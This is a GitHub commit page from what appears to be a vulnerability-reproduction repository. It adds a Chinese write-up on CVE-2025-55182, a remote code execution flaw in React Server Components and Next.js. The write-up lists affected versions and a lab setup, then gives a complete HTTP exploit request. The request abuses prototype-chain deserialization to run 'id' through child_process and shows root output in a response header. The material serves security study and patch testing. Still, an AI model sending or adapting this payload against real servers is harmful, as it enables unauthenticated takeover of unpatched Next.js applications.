Skip to content

Commit 73087a9

Browse files
committed
1 parent 073c8ac commit 73087a9

File tree

4 files changed

+103
-6
lines changed

4 files changed

+103
-6
lines changed

README.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -638,12 +638,12 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
638638
* Apache Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530
639639
* Apache Struts2 S2-062 远程代码执行漏洞 CVE-2021-31805
640640
* Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938
641-
* Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615
642-
* Apache Tomcat RCE Via JSP Upload Bypass
641+
* Apache Tomcat PUT 方法任意写文件漏洞 CVE-2017-12615
642+
* Apache Tomcat RCE Via JSP Upload Bypass CVE 2017 12617
643643
* Apache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935
644644
* Apache Tomcat 信息泄露漏洞 CVE-2021-24122
645-
* Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
646-
* Apache Tomcat8 弱口令+后台getshell漏洞
645+
* Apache Tomcat 远程代码执行漏洞 CVE-2025-24813
646+
* Apache Tomcat8 弱口令 + 后台 getshell 漏洞
647647
* Apache Velocity 远程代码执行 CVE-2020-13936
648648
* Apache ZooKeeper 未授权访问漏洞 CVE-2014-085
649649
* Apereo CAS 4.1 反序列化命令执行漏洞
@@ -687,6 +687,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
687687
* OpenSSL 心脏滴血漏洞 CVE-2014-0160
688688
* PayaraMicro microprofile-config.properties 信息泄漏漏洞 CVE-2021-41381
689689
* QEMU 虚拟机逃逸漏洞 CVE-2020-14364
690+
* React Server Components Flight 协议反序列化代码执行 CVE-2025-55182
690691
* Rsync 未授权访问漏洞
691692
* Ruby NetFTP 模块命令注入漏洞 CVE-2017-17405
692693
* Ruby On Rails 路径穿越与任意文件读取漏洞 CVE-2019-5418
@@ -699,8 +700,6 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
699700
* SaltStack 水平权限绕过漏洞 CVE-2020-11651
700701
* Saltstack 远程命令执行漏洞 CVE-2020-11651 11652
701702
* Supervisord 远程命令执行漏洞 CVE-2017-11610
702-
* Tomcat 远程代码执行漏洞 CVE-2025-24813
703-
* Tomcat8 弱口令+后台getshell漏洞
704703
* uWSGI PHP目录穿越漏洞 CVE-2018-7490
705704
* uWSGI 未授权访问漏洞
706705
* V2board 1.6.1 提权漏洞
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
# React Server Components Flight 协议反序列化代码执行 CVE-2025-55182
2+
3+
## 漏洞描述
4+
5+
React Server Components (RSC) 是 React 的一项功能,允许开发者在服务器上渲染组件并将结果发送给客户端。
6+
7+
React Server Components 中存在一个未授权的远程代码执行漏洞。攻击者可以向任何 Server Function 端点发送精心构造的恶意 HTTP 请求,当 React 对该请求进行反序列化时,即可在服务器上实现远程代码执行。该漏洞影响 `react-server-dom-webpack``react-server-dom-parcel``react-server-dom-turbopack` 的 19.0 到 19.2.0 版本,以及依赖这些包的框架(如 Next.js)。
8+
9+
参考链接:
10+
11+
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
12+
- https://nextjs.org/blog/CVE-2025-66478
13+
- https://github.com/ejpir/CVE-2025-55182-research
14+
- https://cloud.projectdiscovery.io/library/CVE-2025-55182
15+
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
16+
17+
## 漏洞影响
18+
19+
受影响版本:
20+
21+
```
22+
react-server-dom-parcel 19.0, 19.1.0, 19.1.1, 19.2.0
23+
react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0
24+
react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0
25+
```
26+
27+
安全版本:
28+
29+
```
30+
react-server-dom-parcel 19.0.1, 19.1.2, 19.2.1
31+
react-server-dom-turbopack 19.0.1, 19.1.2, 19.2.1
32+
react-server-dom-webpack 19.0.1, 19.1.2, 19.2.1
33+
```
34+
35+
## 环境搭建
36+
37+
虽然这个漏洞是出现于 React Server Components 中,但 Next.js 作为最流行的 React 框架,在 Next.js 15 版本后已经全面支持 React Server Components。因此,我们可以使用 Next.js 来复现漏洞。
38+
39+
Vulhub 执行如下命令启动一个存在漏洞的 Next.js 15.5.6 服务器:
40+
41+
```
42+
docker compose up -d
43+
```
44+
45+
环境启动后,访问 `http://your-ip:3000` 即可看到应用程序。
46+
47+
![](images/React%20Server%20Components%20Flight%20协议反序列化代码执行%20CVE-2025-55182/image-20251212151535974.png)
48+
49+
## 漏洞复现
50+
51+
该漏洞是由于 React Server Components 在解码 Payload 时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。发送如下数据包,即可执行命令 `id`
52+
53+
```
54+
POST / HTTP/1.1
55+
Host: your-ip:3000
56+
Next-Action: x
57+
Accept: */*
58+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQY2t4UYLMhGH8AS
59+
Content-Length: 141
60+
61+
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
62+
Content-Disposition: form-data; name="0"
63+
64+
{
65+
"then": "$1:__proto__:then",
66+
"status": "resolved_model",
67+
"reason": -1,
68+
"value": "{\"then\":\"$B1337\"}",
69+
"_response": {
70+
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
71+
"_chunks": "$Q2",
72+
"_formData": {
73+
"get": "$1:constructor:constructor"
74+
}
75+
}
76+
}
77+
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
78+
Content-Disposition: form-data; name="1"
79+
80+
"$@0"
81+
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
82+
Content-Disposition: form-data; name="2"
83+
84+
[]
85+
------WebKitFormBoundaryoQY2t4UYLMhGH8AS--
86+
```
87+
88+
发送请求后,在响应头的 `x-action-redirect` 字段中可以看到 `id` 命令的执行结果:
89+
90+
```
91+
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push
92+
```
93+
94+
![](images/React%20Server%20Components%20Flight%20协议反序列化代码执行%20CVE-2025-55182/image-20251212152005738.png)
95+
96+
## 漏洞修复
97+
98+
升级至最新版本。
142 KB
Loading
644 KB
Loading

0 commit comments

Comments
 (0)